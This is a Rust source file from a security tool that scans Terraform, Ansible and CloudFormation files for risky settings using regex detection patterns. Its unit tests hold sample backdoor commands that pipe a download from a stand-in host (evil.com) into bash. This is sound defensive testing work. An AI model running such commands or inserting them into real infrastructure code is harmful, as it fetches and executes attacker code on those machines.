securegit 0.8.5

Zero-trust git replacement with 12 built-in security scanners, LLM redteam bridge, universal undo, durable backups, and a 50-tool MCP server
Documentation
use crate::core::{Finding, Severity};
use crate::plugins::traits::{PluginError, PluginReport, ScanContext, ScanPhase, SecurityPlugin};
use async_trait::async_trait;
use lazy_static::lazy_static;
use regex::Regex;
use std::path::Path;
use std::time::Instant;

lazy_static! {
    /// Terraform patterns.
    static ref TERRAFORM_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
        (
            Regex::new(r#"(?i)provisioner\s*['"]?(local-exec|remote-exec)"#).unwrap(),
            "Terraform exec provisioner",
            Severity::Critical,
            "local-exec and remote-exec provisioners run arbitrary commands. These can be backdoors. CWE-78.",
        ),
        (
            Regex::new(r#"(?i)cidr_blocks\s*=\s*\[?"?0\.0\.0\.0/0"?\]?"#).unwrap(),
            "Terraform security group open to world (0.0.0.0/0)",
            Severity::High,
            "Ingress rule allows traffic from any IP address. Restrict to known CIDR ranges.",
        ),
        (
            Regex::new(r#"(?i)ipv6_cidr_blocks\s*=\s*\[?"?::/0"?\]?"#).unwrap(),
            "Terraform security group open to world (IPv6 ::/0)",
            Severity::High,
            "Ingress rule allows traffic from any IPv6 address.",
        ),
        (
            Regex::new(r#"(?i)acl\s*=\s*"public-read(-write)?""#).unwrap(),
            "Terraform S3 bucket with public ACL",
            Severity::Critical,
            "Public S3 buckets expose data to the internet. CWE-732.",
        ),
        (
            Regex::new(r"(?i)encrypted\s*=\s*false").unwrap(),
            "Terraform resource encryption disabled",
            Severity::High,
            "Encryption at rest is disabled. Enable encryption for data protection.",
        ),
        (
            Regex::new(r"(?i)versioning\s*\{[^}]*enabled\s*=\s*false").unwrap(),
            "Terraform S3 versioning disabled",
            Severity::Medium,
            "S3 versioning is disabled. This prevents recovery from accidental deletes or overwrites.",
        ),
        (
            Regex::new(r"(?i)logging\s*\{[^}]*enabled\s*=\s*false").unwrap(),
            "Terraform logging disabled",
            Severity::Medium,
            "Logging is disabled on the resource. This hinders incident response.",
        ),
        (
            Regex::new(r#"(?i)external_url\s*=\s*"https?://"#).unwrap(),
            "Terraform module from unknown source",
            Severity::Medium,
            "Terraform module sourced from an unrecognized URL.",
        ),
        (
            Regex::new(r#"(?i)hardcoded.*=\s*"[A-Za-z0-9+/=]{20,}""#).unwrap(),
            "Potential hardcoded secret in Terraform",
            Severity::High,
            "Long Base64-like strings in .tf files may be hardcoded credentials.",
        ),
    ];

    /// Ansible patterns.
    static ref ANSIBLE_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
        (
            Regex::new(r"(?i)(shell|raw|command):\s*.*(curl|wget|nc|bash)\b.*\|").unwrap(),
            "Ansible shell module piping remote content",
            Severity::Critical,
            "Ansible shell/raw module piping downloaded content to execution. CWE-78.",
        ),
        (
            Regex::new(r"(?i)(shell|raw):\s*").unwrap(),
            "Ansible shell/raw module usage",
            Severity::Medium,
            "shell and raw modules execute arbitrary commands. Prefer purpose-built modules.",
        ),
        (
            Regex::new(r"(?i)no_log:\s*(false|no)").unwrap(),
            "Ansible no_log disabled on sensitive task",
            Severity::High,
            "no_log: false exposes secrets in Ansible logs. Use no_log: true for tasks handling credentials.",
        ),
        (
            Regex::new(r"(?i)become:\s*(true|yes)").unwrap(),
            "Ansible privilege escalation (become: true)",
            Severity::Medium,
            "Task runs with elevated privileges via become. Verify this is necessary.",
        ),
        (
            Regex::new(r"(?i)ignore_errors:\s*(true|yes)").unwrap(),
            "Ansible ignore_errors on task",
            Severity::Medium,
            "Ignoring errors may mask security failures in the playbook.",
        ),
        (
            Regex::new(r#"(?i)get_url:.*url:\s*"?https?://"#).unwrap(),
            "Ansible downloading from unverified URL",
            Severity::Medium,
            "Downloading from unverified URLs in Ansible playbooks can introduce malicious software.",
        ),
        (
            Regex::new(r"(?i)authorized_key:").unwrap(),
            "Ansible authorized_key modification",
            Severity::High,
            "SSH authorized_key modification could add unauthorized access. Verify the key source.",
        ),
        (
            Regex::new(r"(?i)lineinfile:.*dest:\s*/etc/(passwd|shadow|sudoers|cron)").unwrap(),
            "Ansible modifying critical system file",
            Severity::Critical,
            "Modifying /etc/passwd, shadow, sudoers, or cron files can establish persistence. CWE-284.",
        ),
    ];

    /// CloudFormation patterns.
    static ref CLOUDFORMATION_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
        (
            Regex::new(r"(?i)CidrIp:\s*0\.0\.0\.0/0").unwrap(),
            "CloudFormation security group open to world",
            Severity::High,
            "Security group allows inbound traffic from any IP.",
        ),
        (
            Regex::new(r"(?i)PublicAccessBlockConfiguration").unwrap(),
            "CloudFormation S3 public access configuration",
            Severity::Medium,
            "Review that PublicAccessBlockConfiguration is restricting, not allowing, access.",
        ),
    ];
}

// Trusted sources — lines containing these are suppressed for URL-based findings.
const TERRAFORM_TRUSTED: &[&str] = &["github.com", "registry.terraform.io", "hashicorp.com"];
const ANSIBLE_TRUSTED: &[&str] = &[
    "github.com",
    "archive.ubuntu.com",
    "download.docker.com",
    "packages.",
    "apt.dockerproject.org",
    "deb.nodesource.com",
];

pub struct IacScanner;

impl Default for IacScanner {
    fn default() -> Self {
        Self::new()
    }
}

impl IacScanner {
    pub fn new() -> Self {
        Self
    }

    fn detect_iac_type(path: &Path) -> IacType {
        let filename = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
        let ext = path.extension().and_then(|e| e.to_str()).unwrap_or("");

        if ext == "tf" || ext == "tfvars" || filename == "main.tf" || filename == "variables.tf" {
            return IacType::Terraform;
        }
        if filename.ends_with("-playbook.yml")
            || filename.ends_with("-playbook.yaml")
            || filename.starts_with("playbook")
            || filename == "site.yml"
            || filename == "site.yaml"
        {
            return IacType::Ansible;
        }
        // Check path components for ansible
        let path_str = path.to_string_lossy().to_lowercase();
        if path_str.contains("ansible")
            || path_str.contains("playbook")
            || path_str.contains("roles/")
        {
            return IacType::Ansible;
        }

        IacType::Unknown
    }

    fn is_iac_content(content: &str) -> Option<IacType> {
        // Terraform detection by HCL constructs
        if content.contains("resource \"")
            || content.contains("provider \"")
            || content.contains("terraform {")
        {
            return Some(IacType::Terraform);
        }
        // Ansible detection
        if (content.contains("hosts:") || content.contains("tasks:")) && content.contains("name:") {
            return Some(IacType::Ansible);
        }
        // CloudFormation
        if content.contains("AWSTemplateFormatVersion") || content.contains("AWS::") {
            return Some(IacType::CloudFormation);
        }
        None
    }

    fn apply_patterns(
        path: &Path,
        content: &str,
        patterns: &[(Regex, &'static str, Severity, &'static str)],
        allowlist: &[&str],
        findings: &mut Vec<Finding>,
    ) {
        for (line_num, line) in content.lines().enumerate() {
            for (pattern, title, severity, description) in patterns.iter() {
                if pattern.is_match(line) {
                    // Skip if line contains an allowlisted trusted source
                    if !allowlist.is_empty() && allowlist.iter().any(|a| line.contains(a)) {
                        continue;
                    }
                    findings.push(
                        Finding::new(
                            format!("IAC-{:03}", findings.len() + 1),
                            title.to_string(),
                            *severity,
                        )
                        .with_file(path.to_path_buf())
                        .with_line((line_num + 1) as u32)
                        .with_evidence(line.trim().to_string())
                        .with_description(description.to_string()),
                    );
                }
            }
        }
    }
}

#[derive(Debug, PartialEq)]
enum IacType {
    Terraform,
    Ansible,
    CloudFormation,
    Unknown,
}

#[async_trait]
impl SecurityPlugin for IacScanner {
    fn name(&self) -> &str {
        "iac"
    }

    fn version(&self) -> &str {
        "0.1.0"
    }

    fn description(&self) -> &str {
        "Detect Infrastructure-as-Code security misconfigurations"
    }

    fn scan_phase(&self) -> ScanPhase {
        ScanPhase::All
    }

    async fn initialize(&mut self) -> Result<(), PluginError> {
        Ok(())
    }

    async fn scan(&self, context: &ScanContext<'_>) -> Result<PluginReport, PluginError> {
        let start = Instant::now();
        let mut report = PluginReport::new(self.name().to_string());

        if let Some(content) = context.file_content {
            let content_str = String::from_utf8_lossy(content);

            // Determine IaC type from filename first, then from content
            let iac_type = {
                let from_path = Self::detect_iac_type(context.path);
                if from_path != IacType::Unknown {
                    from_path
                } else {
                    Self::is_iac_content(&content_str).unwrap_or(IacType::Unknown)
                }
            };

            match iac_type {
                IacType::Terraform => {
                    Self::apply_patterns(
                        context.path,
                        &content_str,
                        &TERRAFORM_PATTERNS,
                        TERRAFORM_TRUSTED,
                        &mut report.findings,
                    );
                    report.scanned_files = 1;
                }
                IacType::Ansible => {
                    Self::apply_patterns(
                        context.path,
                        &content_str,
                        &ANSIBLE_PATTERNS,
                        ANSIBLE_TRUSTED,
                        &mut report.findings,
                    );
                    report.scanned_files = 1;
                }
                IacType::CloudFormation => {
                    Self::apply_patterns(
                        context.path,
                        &content_str,
                        &CLOUDFORMATION_PATTERNS,
                        &[],
                        &mut report.findings,
                    );
                    report.scanned_files = 1;
                }
                IacType::Unknown => {}
            }
        }

        report.duration_ms = start.elapsed().as_millis() as u64;
        Ok(report)
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::plugins::traits::ScanContext;
    use std::collections::HashMap;

    #[tokio::test]
    async fn test_terraform_local_exec() {
        let scanner = IacScanner::new();
        let content = b"resource \"null_resource\" \"backdoor\" {\n  provisioner \"local-exec\" {\n    command = \"curl evil.com | bash\"\n  }\n}";
        let context = ScanContext {
            path: Path::new("main.tf"),
            scan_phase: ScanPhase::PostExtract,
            file_content: Some(content),
            metadata: HashMap::new(),
        };
        let report = scanner.scan(&context).await.unwrap();
        assert!(report
            .findings
            .iter()
            .any(|f| f.title.contains("exec provisioner")));
    }

    #[tokio::test]
    async fn test_terraform_open_sg() {
        let scanner = IacScanner::new();
        let content =
            br#"resource "aws_security_group_rule" "allow_all" { cidr_blocks = ["0.0.0.0/0"] }"#;
        let context = ScanContext {
            path: Path::new("main.tf"),
            scan_phase: ScanPhase::PostExtract,
            file_content: Some(content),
            metadata: HashMap::new(),
        };
        let report = scanner.scan(&context).await.unwrap();
        assert!(report
            .findings
            .iter()
            .any(|f| f.title.contains("0.0.0.0/0")));
    }

    #[tokio::test]
    async fn test_ansible_shell_curl() {
        let scanner = IacScanner::new();
        let content = b"- name: Install\n  hosts: all\n  tasks:\n  - name: backdoor\n    shell: curl https://evil.com/payload | bash";
        let context = ScanContext {
            path: Path::new("ansible-playbook.yml"),
            scan_phase: ScanPhase::PostExtract,
            file_content: Some(content),
            metadata: HashMap::new(),
        };
        let report = scanner.scan(&context).await.unwrap();
        assert!(report
            .findings
            .iter()
            .any(|f| f.severity == Severity::Critical));
    }
}